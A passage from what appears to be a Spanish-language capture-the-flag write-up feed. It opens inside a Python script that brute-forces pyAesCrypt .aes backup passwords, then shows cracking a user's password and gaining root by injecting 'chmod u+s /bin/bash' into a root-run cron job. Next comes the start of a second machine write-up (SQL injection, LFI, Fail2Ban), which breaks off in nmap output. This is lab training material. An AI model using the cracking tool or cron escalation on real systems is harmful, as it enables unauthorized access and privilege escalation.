&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.update&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en esta wordlist.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def mode_brute&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, charset, min_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, max_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;3, prefix&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ADVERTENCIA: espacio de búsqueda crece exponencialmente.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Bruteforce: charset={charset} min={min_len} max={max_len} (esto puede ser muy lento)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; length in range&lt;span style="color:#f92672"&gt;(&lt;/span&gt;min_len, max_len + 1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; total &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len&lt;span style="color:#f92672"&gt;(&lt;/span&gt;charset&lt;span style="color:#f92672"&gt;)&lt;/span&gt; ** length
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;Probando longitudes = {length} (combinaciones: {total})&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# usamos itertools.product&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; tup in tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;itertools.product&lt;span style="color:#f92672"&gt;(&lt;/span&gt;charset, repeat&lt;span style="color:#f92672"&gt;=&lt;/span&gt;length&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, total&lt;span style="color:#f92672"&gt;=&lt;/span&gt;total&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; prefix + &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;.join&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tup&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en el rango solicitado.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def main&lt;span style="color:#f92672"&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap &lt;span style="color:#f92672"&gt;=&lt;/span&gt; argparse.ArgumentParser&lt;span style="color:#f92672"&gt;(&lt;/span&gt;description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Brute/wordlist attack para .aes (pyAesCrypt)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--file&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-f&amp;#34;&lt;/span&gt;, required&lt;span style="color:#f92672"&gt;=&lt;/span&gt;True, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;archivo .aes (input)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--wordlist&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-w&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ruta a wordlist (ej. rockyou.txt)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--start-line&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;saltarse X líneas de la wordlist (útil para reanudar)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--limit&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;None, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;limitar número de intentos desde la wordlist&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--brute&amp;#34;&lt;/span&gt;, action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;store_true&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;activar modo brute force (muy lento)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--charset&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;str, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;abcdefghijklmnopqrstuvwxyz0123456789&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;charset para brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--min&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;min longitud brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--max&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;3, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;max longitud brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--prefix&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;str, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;prefijo para brute (divide búsqueda)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; args &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ap.parse_args&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Archivo no encontrado:&amp;#34;&lt;/span&gt;, args.file&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sys.exit&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# modo wordlist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; args.wordlist:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.wordlist&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Wordlist no encontrada:&amp;#34;&lt;/span&gt;, args.wordlist&lt;span style="color:#f92672"&gt;)&lt;/span&gt;; sys.exit&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Modo wordlist activo. Ten paciencia.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mode_wordlist&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file, args.wordlist, start_line&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.start_line, limit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.limit&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; found:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# modo brute&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; args.brute:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mode_brute&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file, args.charset, min_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.min, max_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.max, prefix&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.prefix&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; found:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Finished. No password found with the given inputs.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-803b-9920-d838e37b3e24.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8012-804f-e871e8f509ac.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Consigo la contraseña y descomprimo el backup. Dentro encuentro una versión anterior de la base de datos que contiene el hash del usuario &lt;strong&gt;mark&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-802c-85ab-f19aa0f29f13.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Crackeo el hash de Mark:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hash:&lt;/strong&gt; (obtenido del backup)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contraseña:&lt;/strong&gt; &lt;code&gt;supersmash&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-804d-a6e8-d4ebc3f5506c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Me conecto por SSH y obtenemos la user flag.&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="abuso-de-cron-jobs"&gt;Abuso de Cron Jobs&lt;/h3&gt;
&lt;p&gt;Como usuario &lt;code&gt;mark&lt;/code&gt;, enumero el sistema&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8018-b5ae-c54fefaf1edb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;y encuentro una aplicación local (charcol) que permite gestionar backups encriptados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-800d-924c-e039dec2b7be.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8027-a94d-cd7277336e97.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Permite gestionar tareas programadas (Cron Jobs).&lt;/p&gt;
&lt;p&gt;Esta utilidad parece tener permisos excesivos al ejecutarse en el contexto de root. Aprovecho la funcionalidad para crear un nuevo cron job malicioso.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80df-b922-d2be6cdfde2d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En lugar de un script legítimo, configuro una tarea que otorgue permisos SUID a &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando inyectado en el Cron:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chmod u+s /bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8041-bca5-ff6c36525253.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Espero a que el cron se ejecute (probablemente cada minuto). Verifico los permisos de bash:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80b8-8933-c72fa3967c4f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a9-9abf-cd18c63c4e6b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Imagery has been Pwned!&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Trick (Easy)</title><link>https://synacklabs.github.io/posts/trick/</link><pubDate>Thu, 22 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/trick/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8010-b2a5-dfb150ac841c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.9p1 Debian &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;+deb10u2 (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ac&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 9e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;96&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a6&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ce&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;02&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;af&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;9a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span 